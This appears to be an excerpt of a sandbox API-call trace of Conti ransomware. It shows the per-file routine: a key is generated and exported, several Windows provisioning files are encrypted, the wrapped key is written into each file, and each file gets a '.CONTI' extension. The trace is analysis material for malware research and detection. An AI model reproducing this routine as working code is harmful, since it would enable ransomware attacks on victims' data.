	[0112.118] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180f0d4, pdwDataLen=0x4e7fc24 | out: pbData=0x180f0d4*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0112.118] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\48__connections_cellular_proximus (belgium)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.119] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\48__connections_cellular_proximus (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0112.119] GetLastError () returned 0x0
	[0112.119] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=719) returned 1
	[0112.119] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0112.119] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.119] SetEndOfFile (hFile=0x378) returned 1
	[0112.119] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.119] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.119] WriteFile (in: hFile=0x378, lpBuffer=0x180f0d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x180f0d4*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0112.125] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.125] ReadFile (in: hFile=0x378, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2cf, lpOverlapped=0x0) returned 1
	[0112.125] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2cf, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2d0) returned 1
	[0112.125] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.125] WriteFile (in: hFile=0x378, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.125] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.125] WriteFile (in: hFile=0x378, lpBuffer=0x180f0c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x180f0c8*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0112.125] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.125] CloseHandle (hObject=0x378) returned 1
	[0112.125] GetProcessHeap () returned 0x1720000
	[0112.125] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.125] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml"
	[0112.125] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.125] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\48__connections_cellular_proximus (belgium)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\48__connections_cellular_proximus (belgium)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.126] GetProcessHeap () returned 0x1720000
	[0112.126] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.126] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0112.126] GetProcessHeap () returned 0x1720000
	[0112.126] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1809610 | out: hHeap=0x1720000) returned 1
	[0112.126] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0112.126] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x180e0d8 | out: phKey=0x180e0d8*=0x6b7f2b8) returned 1
	[0112.126] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180e0dc, pdwDataLen=0x4e7fc24 | out: pbData=0x180e0dc*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0112.127] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\491__connections_cellular_plateau wireless (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.128] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\491__connections_cellular_plateau wireless (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0112.128] GetLastError () returned 0x0
	[0112.128] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=660) returned 1
	[0112.128] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x294
	[0112.128] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.128] SetEndOfFile (hFile=0x378) returned 1
	[0112.128] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.128] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.128] WriteFile (in: hFile=0x378, lpBuffer=0x180e0dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x180e0dc*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0112.135] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.135] ReadFile (in: hFile=0x378, lpBuffer=0xe470000, nNumberOfBytesToRead=0x294, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x294, lpOverlapped=0x0) returned 1
	[0112.135] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x294, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2a0) returned 1
	[0112.135] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.135] WriteFile (in: hFile=0x378, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2a0, lpOverlapped=0x0) returned 1
	[0112.135] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.135] WriteFile (in: hFile=0x378, lpBuffer=0x180e0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x180e0d0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0112.135] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.135] CloseHandle (hObject=0x378) returned 1
	[0112.135] GetProcessHeap () returned 0x1720000
	[0112.135] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.135] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml"
	[0112.135] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.135] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\491__connections_cellular_plateau wireless (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\491__connections_cellular_plateau wireless (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.136] GetProcessHeap () returned 0x1720000
	[0112.136] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.136] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0112.136] GetProcessHeap () returned 0x1720000
	[0112.136] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6575370 | out: hHeap=0x1720000) returned 1
	[0112.136] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0112.136] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x1810e78 | out: phKey=0x1810e78*=0x6b7f1f8) returned 1
	[0112.136] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1810e7c, pdwDataLen=0x4e7fc24 | out: pbData=0x1810e7c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0112.137] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\493__connections_cellular_suncom (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.137] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\493__connections_cellular_suncom (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0112.138] GetLastError () returned 0x0
	[0112.138] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=654) returned 1
	[0112.138] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28e
	[0112.138] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.138] SetEndOfFile (hFile=0x378) returned 1
	[0112.138] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.138] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.138] WriteFile (in: hFile=0x378, lpBuffer=0x1810e7c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x1810e7c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0112.144] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.145] ReadFile (in: hFile=0x378, lpBuffer=0xe470000, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x28e, lpOverlapped=0x0) returned 1
	[0112.145] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x28e, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x290) returned 1
	[0112.145] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.145] WriteFile (in: hFile=0x378, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x290, lpOverlapped=0x0) returned 1
	[0112.145] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.145] WriteFile (in: hFile=0x378, lpBuffer=0x1810e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x1810e70*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0112.145] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.145] CloseHandle (hObject=0x378) returned 1
	[0112.145] GetProcessHeap () returned 0x1720000
	[0112.145] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.145] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml"
	[0112.145] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.145] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\493__connections_cellular_suncom (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\493__connections_cellular_suncom (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.146] GetProcessHeap () returned 0x1720000
	[0112.146] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.146] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0112.146] GetProcessHeap () returned 0x1720000
	[0112.146] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180bfe0 | out: hHeap=0x1720000) returned 1
	[0112.146] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0112.146] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x1810558 | out: phKey=0x1810558*=0x6b7f1f8) returned 1
	[0112.146] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x181055c, pdwDataLen=0x4e7fc24 | out: pbData=0x181055c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0112.147] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\495__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0112.153] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\495__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0112.166] GetLastError () returned 0x0
	[0112.166] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=459) returned 1
	[0112.166] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0112.166] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.167] SetEndOfFile (hFile=0x378) returned 1
	[0112.171] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.171] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.172] WriteFile (in: hFile=0x378, lpBuffer=0x181055c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x181055c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0112.811] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.811] ReadFile (in: hFile=0x378, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1cb, lpOverlapped=0x0) returned 1
	[0112.811] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1cb, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1d0) returned 1
	[0112.811] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.811] WriteFile (in: hFile=0x378, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1d0, lpOverlapped=0x0) returned 1
	[0112.811] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.811] WriteFile (in: hFile=0x378, lpBuffer=0x1810550*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x1810550*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0112.811] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.811] CloseHandle (hObject=0x378) returned 1
	[0112.822] GetProcessHeap () returned 0x1720000
	[0112.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
